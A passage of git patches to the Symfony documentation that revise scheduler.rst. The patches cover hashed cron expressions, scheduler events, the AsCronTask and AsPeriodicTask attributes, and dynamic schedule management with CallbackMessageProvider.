-predictable and consistent. A message with string representation ``my task``
+You can add a hash symbol (``#``) in expressions to generate random values.
+Athough the values are random, they are predictable and consistent because they
+are generated based on the message. A message with string representation ``my task``
 and a defined frequency of ``# # * * *`` will have an idempotent frequency
 of ``56 20 * * *`` (every day at 8:56pm).
 
-A hash range ``#(x-y)`` can also be used. For example, ``# #(0-7) * * *`` means daily,
-some time between midnight and 7am. Using the ``#`` without a range creates a range
-of any valid value for the field. ``# # # # #`` is short for ``#(0-59) #(0-23) #(1-28)
+You can also use hash ranges (``#(x-y)``) to define the list of possible values
+for that random part. For example, ``# #(0-7) * * *`` means daily, some time
+between midnight and 7am. Using the ``#`` without a range creates a range of any
+valid value for the field. ``# # # # #`` is short for ``#(0-59) #(0-23) #(1-28)
 #(1-12) #(0-6)``.
 
 You can also use some special values that represent common hashed cron expressions:

From 5809a6a431650360b294f2d15872adf982ff8d80 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jan 2024 17:23:36 +0100
Subject: [PATCH 4354/5766] [Scheduler] Remove mentions to Symfony 6.4

---
 scheduler.rst | 15 ---------------
 1 file changed, 15 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index bec1741e1ff..16b6a203cf0 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -238,10 +238,6 @@ For example::
     The day of month range is ``1-28``, this is to account for February
     which has a minimum of 28 days.
 
-.. versionadded:: 6.4
-
-    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
-
 Periodical Triggers
 ~~~~~~~~~~~~~~~~~~~
 
@@ -352,11 +348,6 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
-.. versionadded:: 6.4
-
-    Since version 6.4, you can define your messages via a ``callback`` via the
-    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
-
 Debugging the Schedule
 ----------------------
 
@@ -380,12 +371,6 @@ recurring messages. You can narrow down the list to a specific schedule:
         15 4 */3 * *        App\Messenger\Foo(0:17..)  Mon, 18 Dec 2023 ...
        -------------------- -------------------------- ---------------------
 
-.. versionadded:: 6.4
-
-    Since version 6.4, you can even specify a date to determine the next run date
-    using the ``--date`` option. Additionally, you have the option to display
-    terminated recurring messages using the ``--all`` option.
-
 Efficient management with Symfony Scheduler
 -------------------------------------------
 

From 6db82eacb77a9b5887a52b609d700843ef545b80 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jan 2024 17:46:12 +0100
Subject: [PATCH 4355/5766] [Scheduler] Fix a minor syntax issue

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 16b6a203cf0..f37568fd4dd 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -193,7 +193,7 @@ For example::
     RecurringMessage::cron('@daily', new Message());
 
 Hashed Cron Expressions
-·······················
+.......................
 
 If you have many triggers scheduled at same time (for example, at midnight, ``0 0 * * *``)
 this will create a very long running list of schedules at that exact time.

From 445075cb7b2a031c2ab96da9e3efbdccf2533d0c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 22 Jan 2024 22:30:53 +0100
Subject: [PATCH 4356/5766] [Scheduler] Document events

---
 scheduler.rst | 97 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 97 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index b018df2c2fd..d29eb790de1 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -501,6 +501,103 @@ before being further redispatched to its corresponding handler::
         }
     }
 
+Scheduler Events
+----------------
+
+PreRunEvent
+~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent`
+
+``PreRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+or cancel message before it's consumed::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\PreRunEvent;
+
+    public function onMessage(PreRunEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        // do something with the schedule, context or message
+
+        // and/or cancel message
+        $event->shouldCancel(true);
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PreRunEvent"
+
+PostRunEvent
+~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PostRunEvent`
+
+``PostRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+after message is consumed::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\PostRunEvent;
+
+    public function onMessage(PostRunEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        // do something with the schedule, context or message
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PostRunEvent"
+
+FailureEvent
+~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\FailureEvent`
+
+``FailureEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+when message consumption throw an exception::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\FailureEvent;
+
+    public function onMessage(FailureEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        $error = $event->getError();
+
+        // do something with the schedule, context, message or error (logging, ...)
+
+        // and/or ignore failure event
+        $event->shouldIgnore(true);
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\FailureEvent"
+
+.. versionadded:: 6.4
+
+    Methods ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` were introduced
+    in Symfony 6.4.
+
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From 9f854b1601294945cff49c34013c1d5c3f1db769 Mon Sep 17 00:00:00 2001
From: Thijs-jan Veldhuizen <779998+tjveldhuizen@users.noreply.github.com>
Date: Tue, 23 Jan 2024 09:29:57 +0100
Subject: [PATCH 4357/5766] Update pull_requests.rst

The GitHub documentation on ignoring files has moved
---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index dedb5c45cb8..e9e8470bb96 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -521,7 +521,7 @@ before merging.
 
 .. _ProGit: https://git-scm.com/book
 .. _GitHub: https://github.com/join
-.. _`GitHub's documentation`: https://help.github.com/github/using-git/ignoring-files
+.. _`GitHub's documentation`: https://docs.github.com/en/get-started/getting-started-with-git/ignoring-files
 .. _Symfony repository: https://github.com/symfony/symfony
 .. _Symfony releases page: https://symfony.com/releases#maintained-symfony-branches
 .. _`documentation repository`: https://github.com/symfony/symfony-docs

From f0197326258271ce614ac675101abe75838eee58 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 19 Jan 2024 13:20:10 +0100
Subject: [PATCH 4358/5766] [Scheduler] Add `AsCronTask` and `AsPeriodicTask`

---
 reference/attributes.rst |  7 +++
 scheduler.rst            | 93 +++++++++++++++++++++++++++++++++++++++-
 2 files changed, 99 insertions(+), 1 deletion(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 9f98ca30d5e..a929d38c3b0 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -86,6 +86,13 @@ Routing
 
 * :doc:`Route </routing>`
 
+Scheduler
+~~~~~~~~~
+
+* :ref:`AsCronTask <scheduler_cron-expression-triggers>`
+* :ref:`AsPeriodicTask <scheduler_periodical-triggers>`
+* :ref:`AsSchedule <scheduler_attaching-recurring-messages>`
+
 Security
 ~~~~~~~~
 
diff --git a/scheduler.rst b/scheduler.rst
index b018df2c2fd..3c3134e8e1e 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -96,6 +96,8 @@ Another important difference is that messages in the Scheduler component are
 recurring. They are represented via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class.
 
+.. _scheduler_attaching-recurring-messages:
+
 Attaching Recurring Messages to a Schedule
 ------------------------------------------
 
@@ -180,6 +182,8 @@ methods::
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class, as shown in the following examples.
 
+.. _scheduler_cron-expression-triggers:
+
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -199,7 +203,43 @@ Then, define the trigger date/time using the same syntax as the
 
 .. versionadded:: 6.4
 
-    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
+    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument.
+
+Another way of declaring cron triggers is to use the
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
+on an invokable class::
+
+    // src/Scheduler/Task/SendDailySalesReports.php
+    namespace App\Scheduler\Task;
+
+    use Symfony\Component\Scheduler\Attribute\AsCronTask;
+
+    #[AsCronTask('0 0 * * *')]
+    class SendDailySalesReports
+    {
+        public function __invoke()
+        {
+            // ...
+        }
+    }
+
+This is the most basic way to define a cron trigger. However, the attribute
+takes more parameters to customize the trigger::
+
+    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
+    #[AsCronTask('0 0 * * *', jitter: 6)]
+
+    // defines the method name to call instead as well as the arguments to pass to it
+    #[AsCronTask('0 0 * * *', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
+
+    // defines the timezone to use
+    #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
+    was introduced in Symfony 6.4.
+
 
 .. tip::
 
@@ -264,6 +304,8 @@ For example::
     The day of month range is ``1-28``, this is to account for February
     which has a minimum of 28 days.
 
+.. _scheduler_periodical-triggers:
+
 Periodical Triggers
 ~~~~~~~~~~~~~~~~~~~
 
@@ -279,6 +321,55 @@ defined by PHP datetime functions::
     $until = '2023-06-12';
     RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
 
+Like cron triggers, you can also use the
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
+on an invokable class::
+
+    // src/Scheduler/Task/SendDailySalesReports.php
+    namespace App\Scheduler\Task;
+
+    use Symfony\Component\Scheduler\Attribute\AsPeriodicTask;
+
+    #[AsPeriodicTask(frequency: '1 day', from: '2022-01-01', until: '2023-06-12')]
+    class SendDailySalesReports
+    {
+        public function __invoke()
+        {
+            // ...
+        }
+    }
+
+.. note::
+
+    The ``from`` and ``until`` options are optional. If not defined, the task
+    will be executed indefinitely.
+
+The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigger::
+
+    // the frequency can be defined as an integer representing the number of seconds
+    #[AsPeriodicTask(frequency: 86400)]
+
+    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
+    #[AsPeriodicTask(frequency: '1 day', jitter: 6)]
+
+    // defines the method name to call instead as well as the arguments to pass to it
+    #[AsPeriodicTask(frequency: '1 day', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
+    class SendDailySalesReports
+    {
+        public function sendEmail(string $email): void
+        {
+            // ...
+        }
+    }
+
+    // defines the timezone to use
+    #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')]
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
+    was introduced in Symfony 6.4.
+
 Custom Triggers
 ~~~~~~~~~~~~~~~
 

From 8bdc50e8dda18ab8212b89da17b672deb8ad76bc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 10:41:31 +0100
Subject: [PATCH 4359/5766] Minor tweaks

---
 scheduler.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index d29eb790de1..a96f4baf561 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -510,7 +510,7 @@ PreRunEvent
 **Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent`
 
 ``PreRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-or cancel message before it's consumed::
+or cancel a message before it's consumed::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Scheduler\Event\PreRunEvent;
@@ -540,7 +540,7 @@ PostRunEvent
 **Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PostRunEvent`
 
 ``PostRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-after message is consumed::
+after a message is consumed::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Scheduler\Event\PostRunEvent;
@@ -567,7 +567,7 @@ FailureEvent
 **Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\FailureEvent`
 
 ``FailureEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-when message consumption throw an exception::
+when a message consumption throws an exception::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Scheduler\Event\FailureEvent;
@@ -595,8 +595,8 @@ and their priorities:
 
 .. versionadded:: 6.4
 
-    Methods ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` were introduced
-    in Symfony 6.4.
+    The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
+    introduced in Symfony 6.4.
 
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron

From 33f50175329263c9bda1ef8e8f486380d8da6535 Mon Sep 17 00:00:00 2001
From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Fri, 15 Dec 2023 14:39:50 +1100
Subject: [PATCH 4360/5766] [Scheduler] doc draft dynamic schedule

---
 scheduler.rst | 240 +++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 220 insertions(+), 20 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index a96f4baf561..7e009e11d6f 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -285,6 +285,11 @@ Custom Triggers
 Custom triggers allow to configure any frequency dynamically. They are created
 as services that implement :class:`Symfony\\Component\\Scheduler\\Trigger\\TriggerInterface`.
 
+.. versionadded:: 6.4
+
+    Since version 6.4, you can define your messages via a ``callback`` via the
+    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+
 For example, if you want to send customer reports daily except for holiday periods::
 
     // src/Scheduler/Trigger/NewUserWelcomeEmailHandler.php
@@ -356,10 +361,215 @@ Finally, the recurring messages has to be attached to a schedule::
         }
     }
 
-.. versionadded:: 6.4
+So, this RecurringMessage will encompass both the trigger, defining the generation frequency of the message, and the message itself, the one to be processed by a specific handler.
 
-    Since version 6.4, you can define your messages via a ``callback`` via the
-    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+But what is interesting to know is that it also provides you with the ability to generate your message(s) dynamically.
+
+A dynamic vision for the messages generated
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This proves particularly useful when the message depends on data stored in databases or third-party services.
+
+Taking your example of reports generation, it depends on customer requests.
+Depending on the specific demands, any number of reports may need to be generated at a defined frequency.
+For these dynamic scenarios, it gives you the capability to dynamically define our message(s) instead of statically.
+This is achieved by defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+
+Essentially, this means you can dynamically, at runtime, define your message(s) through a callback that gets executed each time the scheduler transport checks for messages to be generated::
+
+    // src/Scheduler/SaleTaskProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    RecurringMessage::trigger(
+                        new ExcludeHolidaysTrigger(
+                            CronExpressionTrigger::fromSpec('@daily'),
+                        ),
+                    // instead of being static as in the previous example
+                    new CallbackMessageProvider([$this, 'generateReports'], 'foo')),
+                    RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
+
+                );
+        }
+
+        public function generateReports(MessageContext $context)
+        {
+            // ...
+            yield new SendDailySalesReports();
+            yield new ReportSomethingReportSomethingElse();
+            ....
+        }
+    }
+
+Exploring alternatives for crafting your Recurring Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+There is also another way to build a RecurringMessage, and this can be done simply by adding an attribute above a service or a command:
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute and :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute.
+
+For both of these attributes, you have the ability to define the schedule to roll with using the ``schedule``option. By default, the ``default`` named schedule will be used.
+Also, by default, the ``__invoke`` method of your service will be called but, it's also possible to specify the method to call via the ``method``option and you can define arguments via ``arguments``option if necessary.
+
+The distinction between these two attributes lies in the options pertaining to the trigger:
+
+#. :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute:
+
+    #. You can configure various options such as ``frequencies``, ``from``, ``until`` and ``jitter``, encompassing options related to the trigger.
+
+#. :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute:
+
+    #. You can configure various options such as ``expression``, ``jitter``, encompassing options related to the trigger.
+
+By defining one of these two attributes, it enables the execution of your service or command, considering all the options that have been specified within the attributes.
+
+Managing Scheduled Messages
+---------------------------
+
+Modifying Scheduled Messages in real time
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+While planning a schedule in advance is beneficial, it is rare for a schedule to remain static over time.
+After a certain period, some RecurringMessages may become obsolete, while others may need to be integrated into our planning.
+
+As a general practice, to alleviate a heavy workload, the recurring messages in the schedules are stored in memory to avoid recalculation each time the scheduler transport generates messages.
+However, this approach can have a flip side.
+
+In the context of our sales company, certain promotions may occur during specific periods and need to be communicated repetitively throughout a given timeframe
+or the deletion of old reports needs to be halted under certain circumstances.
+
+This is why the Scheduler incorporates a mechanism to dynamically modify the schedule and consider all changes in real-time.
+
+Strategies for adding, removing, and modifying entries within the Schedule
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The schedule provides you with the ability to :method:`Symfony\\Component\\Scheduler\Schedule::add`, :method:`Symfony\\Component\\Scheduler\Schedule::remove`, or :method:`Symfony\\Component\\Scheduler\Schedule::clear` all associated recurring messages,
+resulting in the reset and recalculation of the in-memory stack of recurring messages.
+
+For instance, for various reasons, if there's no need to generate a report, a callback can be employed to conditionally skip generating of some or all reports.
+
+However, if the intention is to completely remove a recurring message and its recurrence,
+the :class:`Symfony\\Component\\Scheduler\Schedule` offers a :method:`Symfony\\Component\\Scheduler\Schedule::remove` or a :method:`Symfony\\Component\\Scheduler\Schedule::removeById` method.
+This can be particularly useful in your case, especially if you need to halt the generation of the recurring message, which involves deleting old reports.
+
+In your handler, you can check a condition and, if affirmative, access the :class:`Symfony\\Component\\Scheduler\Schedule` and invoke this method::
+
+    // src/Scheduler/SaleTaskProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                    $this->removeOldReports;
+                );
+        }
+
+        // ...
+
+        public function removeCleanUpMessage()
+        {
+            $this->getSchedule()->getSchedule()->remove($this->removeOldReports);
+        }
+    }
+
+    // src/Scheduler/Handler/.php
+    namespace App\Scheduler\Handler;
+
+    #[AsMessageHandler]
+    class CleanUpOldSalesReportHandler
+    {
+        public function __invoke(CleanUpOldSalesReport $cleanUpOldSalesReport): void
+        {
+            // do what you have to do
+
+            if ($isFinished) {
+                $this->mySchedule->removeCleanUpMessage();
+            }
+        }
+    }
+
+Nevertheless, this system may not be the most suitable for all scenarios. Also, the handler should ideally be designed to process the type of message it is intended for,
+without making decisions about adding or removing a new recurring message.
+
+For instance, if, due to an external event, there is a need to add a recurrent message aimed at deleting reports,
+it can be challenging to achieve within the handler. This is because the handler will no longer be called or executed once there are no more messages of that type.
+
+However, the Scheduler also features an event system that is integrated into a Symfony full-stack application by grafting onto Symfony Messenger events.
+These events are dispatched through a listener, providing a convenient means to respond.
+
+Managing Scheduled Messages via Events
+--------------------------------------
+
+A strategic event handling
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The goal is to provide flexibility in deciding when to take action while preserving decoupling.
+Three primary event types have been introduced types
+
+    #. PRE_RUN_EVENT
+
+    #. POST_RUN_EVENT
+
+    #. FAILURE_EVENT
+
+Access to the schedule is a crucial feature, allowing effortless addition or removal of message types.
+Additionally, it will be possible to access the currently processed message and its message context.
+
+In consideration of our scenario, you can easily listen to the PRE_RUN_EVENT and check if a certain condition is met.
+
+For instance, you might decide to add a recurring message for cleaning old reports again, with the same or different configurations, or add any other recurring message(s).
+
+If you had chosen to handle the deletion of the recurring message, you could have easily done so in a listener for this event.
+
+Importantly, it reveals a specific feature :method:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent::shouldCancel` that allows you to prevent the message of the deleted recurring message from being transferred and processed by its handler::
+
+    // src/Scheduler/SaleTaskProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                );
+                ->before(function(PreRunEvent $event) {
+                    $message = $event->getMessage();
+                    $messageContext = $event->getMessageContext();
+
+                    // can access the schedule
+                    $schedule = $event->getSchedule()->getSchedule();
+
+                    // can target directly the RecurringMessage being processed
+                    $schedule->removeById($messageContext->id);
+
+                    //Allow to call the ShouldCancel() and avoid the message to be handled
+                        $event->shouldCancel(true);
+                }
+                ->after(function(PostRunEvent $event) {
+                    // Do what you want
+                }
+                ->onFailure(function(FailureEvent $event) {
+                    // Do what you want
+                }
+        }
+    }
 
 Consuming Messages (Running the Worker)
 ---------------------------------------
@@ -408,31 +618,21 @@ recurring messages. You can narrow down the list to a specific schedule:
     # use the --all option to also display the terminated recurring messages
     $ php bin/console --all
 
-.. versionadded:: 6.4
-
-    The ``--date`` and ``--all`` options were introduced in Symfony 6.4.
-
 Efficient management with Symfony Scheduler
 -------------------------------------------
 
-When a worker is restarted or undergoes shutdown for a period, the Scheduler
-transport won't be able to generate the messages (because they are created
-on-the-fly by the scheduler transport). This implies that any messages
-scheduled to be sent during the worker's inactive period are not sent, and the
-Scheduler will lose track of the last processed message. Upon restart, it will
-recalculate the messages to be generated from that point onward.
+When a worker is restarted or undergoes shutdown for a period, the Scheduler transport won't be able to generate the messages (because they are created on-the-fly by the scheduler transport).
+This implies that any messages scheduled to be sent during the worker's inactive period are not sent, and the Scheduler will lose track of the last processed message.
+Upon restart, it will recalculate the messages to be generated from that point onward.
 
-To illustrate, consider a recurring message set to be sent every 3 days. If a
-worker is restarted on day 2, the message will be sent 3 days from the restart,
-on day 5.
+To illustrate, consider a recurring message set to be sent every 3 days.
+If a worker is restarted on day 2, the message will be sent 3 days from the restart, on day 5.
 
-While this behavior may not necessarily pose a problem, there is a possibility
-that it may not align with what you are seeking.
+While this behavior may not necessarily pose a problem, there is a possibility that it may not align with what you are seeking.
 
 That's why the scheduler allows to remember the last execution date of a message
 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
-This allows the system to retain the state of the schedule, ensuring that when
-a worker is restarted, it resumes from the point it left off::
+This allows the system to retain the state of the schedule, ensuring that when a worker is restarted, it resumes from the point it left off.::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;

From d1e1bab0f7a4b924441314c575c1af159836198a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 12:33:13 +0100
Subject: [PATCH 4361/5766] Some weaks

---
 scheduler.rst | 361 +++++++++++++++++++++++++++-----------------------
 1 file changed, 194 insertions(+), 167 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 7e009e11d6f..2c1d7bf1f87 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -285,11 +285,6 @@ Custom Triggers
 Custom triggers allow to configure any frequency dynamically. They are created
 as services that implement :class:`Symfony\\Component\\Scheduler\\Trigger\\TriggerInterface`.
 
-.. versionadded:: 6.4
-
-    Since version 6.4, you can define your messages via a ``callback`` via the
-    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
-
 For example, if you want to send customer reports daily except for holiday periods::
 
     // src/Scheduler/Trigger/NewUserWelcomeEmailHandler.php
@@ -361,21 +356,32 @@ Finally, the recurring messages has to be attached to a schedule::
         }
     }
 
-So, this RecurringMessage will encompass both the trigger, defining the generation frequency of the message, and the message itself, the one to be processed by a specific handler.
+So, this ``RecurringMessage`` will encompass both the trigger, defining the
+generation frequency of the message, and the message itself, the one to be
+processed by a specific handler.
 
-But what is interesting to know is that it also provides you with the ability to generate your message(s) dynamically.
+But what is interesting to know is that it also provides you with the ability to
+generate your message(s) dynamically.
 
-A dynamic vision for the messages generated
+A Dynamic Vision for the Messages Generated
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-This proves particularly useful when the message depends on data stored in databases or third-party services.
+This proves particularly useful when the message depends on data stored in
+databases or third-party services.
 
-Taking your example of reports generation, it depends on customer requests.
-Depending on the specific demands, any number of reports may need to be generated at a defined frequency.
-For these dynamic scenarios, it gives you the capability to dynamically define our message(s) instead of statically.
-This is achieved by defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+Following the previous example of reports generation: they depend on customer requests.
+Depending on the specific demands, any number of reports may need to be generated
+at a defined frequency. For these dynamic scenarios, it gives you the capability
+to dynamically define our message(s) instead of statically. This is achieved by
+defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
 
-Essentially, this means you can dynamically, at runtime, define your message(s) through a callback that gets executed each time the scheduler transport checks for messages to be generated::
+.. versionadded:: 6.4
+
+    The ``CallbackMessageProvider`` was introduced in Symfony 6.4.
+
+Essentially, this means you can dynamically, at runtime, define your message(s)
+through a callback that gets executed each time the scheduler transport
+checks for messages to be generated::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -394,7 +400,6 @@ Essentially, this means you can dynamically, at runtime, define your message(s)
                     // instead of being static as in the previous example
                     new CallbackMessageProvider([$this, 'generateReports'], 'foo')),
                     RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
-
                 );
         }
 
@@ -403,61 +408,76 @@ Essentially, this means you can dynamically, at runtime, define your message(s)
             // ...
             yield new SendDailySalesReports();
             yield new ReportSomethingReportSomethingElse();
-            ....
         }
     }
 
-Exploring alternatives for crafting your Recurring Messages
+Exploring Alternatives for Crafting your Recurring Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-There is also another way to build a RecurringMessage, and this can be done simply by adding an attribute above a service or a command:
-:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute and :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute.
+There is also another way to build a ``RecurringMessage``, and this can be done
+by adding one of these attributes to a service or a command:
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` and
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask`.
 
-For both of these attributes, you have the ability to define the schedule to roll with using the ``schedule``option. By default, the ``default`` named schedule will be used.
-Also, by default, the ``__invoke`` method of your service will be called but, it's also possible to specify the method to call via the ``method``option and you can define arguments via ``arguments``option if necessary.
+For both of these attributes, you have the ability to define the schedule to
+use via the ``schedule``option. By default, the ``default`` named schedule will
+be used. Also, by default, the ``__invoke`` method of your service will be called
+but, it's also possible to specify the method to call via the ``method``option
+and you can define arguments via ``arguments``option if necessary.
 
-The distinction between these two attributes lies in the options pertaining to the trigger:
+The distinction between these two attributes lies in the trigger options:
 
-#. :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute:
+* :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
+  defines the following trigger options: ``frequencies``, ``from``, ``until`` and
+  ``jitter``,
+* :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
+  defines the following trigger options: ``expression``, ``jitter``.
 
